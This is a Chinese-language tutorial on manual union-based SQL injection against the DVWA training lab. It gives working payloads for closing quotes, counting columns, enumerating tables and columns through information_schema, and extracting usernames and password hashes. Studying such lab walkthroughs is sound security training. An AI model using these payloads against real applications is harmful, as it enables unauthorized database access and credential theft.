一.判断是否存在注入,注入是字符型还是数字型
当我们在1之后加了一个引号,则会导致单引号数目不平衡,如何让引号闭合?
(方法1)我们在原来的基础上再继续输入多一个引号,也就是“1””。
这时候我们看一下查询语句
select firstname,surname from users where id = '1''';
这时候得讲一个mysql的语法,
在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
我们来看几个例子。
第一个是和我们上面类似的sql查询语句
select * from users where user_id = ‘1”’;
第二个是来阐明我们这个优先级的,
select * from users where user_id = ‘1”2’;
可以看到,出来的结果还是和user_id=1一样。
我们再看一个长长的,
select * from users where user_id = ‘1”2”abc”efg’;
事实胜于雄辩,可以看到结果还是和上面的一样。
(方法2)第二种方法是使用“#”符号来注释后面的单引号
到时查询语句将会变成这样
select firstname,surname from users where id = '1'#';
(方法3)第三种方法是使用“– ”,这里注意了“–”后面有一个空格。在url当中,我们需要使用“+”来代替“–”后面的空格。
到时查询语句将会变成这样
select firstname,surname from users where id = '1'-- ';
我们回到我们的测试页面。发现出来的结果和输入1一样。
到这里我们可以知道了
[1]漏洞的参数是“id”
[2]漏洞的类型是字符型
二.猜解SQL查询语句中的字段数
三.确定显示的字段顺序
(方法1)分析字段数的原因是我们之后需要用union select语句获得我们需要的敏感数据。
构造的payload如下:
1' order by 1#
1' order by 2#
1' order by 3#
当输入到3的时候,发现它报错了。也就是字段数为2。
(方法2)第二种方法就是直接用union select来猜测字段数,因为当字段数不对应的时候,它也是会发生报错的!
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以发现,当union select 1,2的时候没有报错,也就是字段数为2。同时,我们也应该注意到,好像返回的内容多了三条数据,这是啥呢?
这就是我们我们union select出来的数据了。我们获取数据的信息,就通过将1,2换成数据的信息,这样通过查看页面,我们便可以获得了!
四.获取当前数据库
字段数为2,也就是select出来的数据列有两列。也就是我们可以通过union select出两个数据。好了我们来获得关于我们数据库的信息吧!
获取当前数据库名字,当前用户名
1' union select database(),user()#
这里解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
好的,这里我们看到
当前数据库为:dvwa
当前用户名:root@localhost
类似的函数:version() 获取当前数据库版本
Tips:有时候,后面的select语句会限制输出的行数,通过limit 1,所以我们一般来说,都会让原数据库查询无效,也就是输入无效的id。
如下:
-1' union select database(),user()#
这样就只会返回我们的数据了。
五.获取数据库中的表
mysql有没有类似新华的字典的东东呢?
它的这本新华字典叫做information_schema,是一个包含了mysql数据库所有信息的新华字典,有啥关于数据库的信息不知道问它没问题!它本质上还是一个database,存着其他各个数据的信息。
在其中,有一个表长成这样tables。有一个表长这样columns。
是不是有点感觉了?
是的,tables这个表存的是关于数据库中所有表的信息,他有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的表所在的数据库。
对于columns,它有column_name,table_schema,table_name
回想一下,我们拥有的消息是数据库名。也就是说我们可以构造这样的payload
-1' union select table_name,2
from information_schema.tables
where table_schema= 'dvwa'#
你是不是想问,information_schema.tables是啥呢?
information_schema不就使我们的新华字典咯!这里我们使用一种语法,
“数据名.表名”
tables就相当于我们新华字典的目录,table_name是tables里面的字段。语句的意思就是,这里是一本新华字典帮我把数据库名为”dvwa”这个偏旁部首的字(表名)找出来。
六.获取表中的字段名
那之后呢?不是说还有一个columns表么?
那我们需要什么?需要table_name以及table_schema
那我们查什么呢?column_name
这次我们的构造的payload如下
-1' union select column_name,2
from information_schema.columns
where table_schema= 'dvwa' and table_name= 'users'#
这里说一下,倘若不指定数据库名为’dvwa’,若是其他数据里面也存在users表的话,则会有很多混淆的数据。
又来了,好多数据呀!
验证user,password吧!两个字段刚刚好!
好的,我们再次修改payload
-1' union select user,password from users#
就可以得到密码了。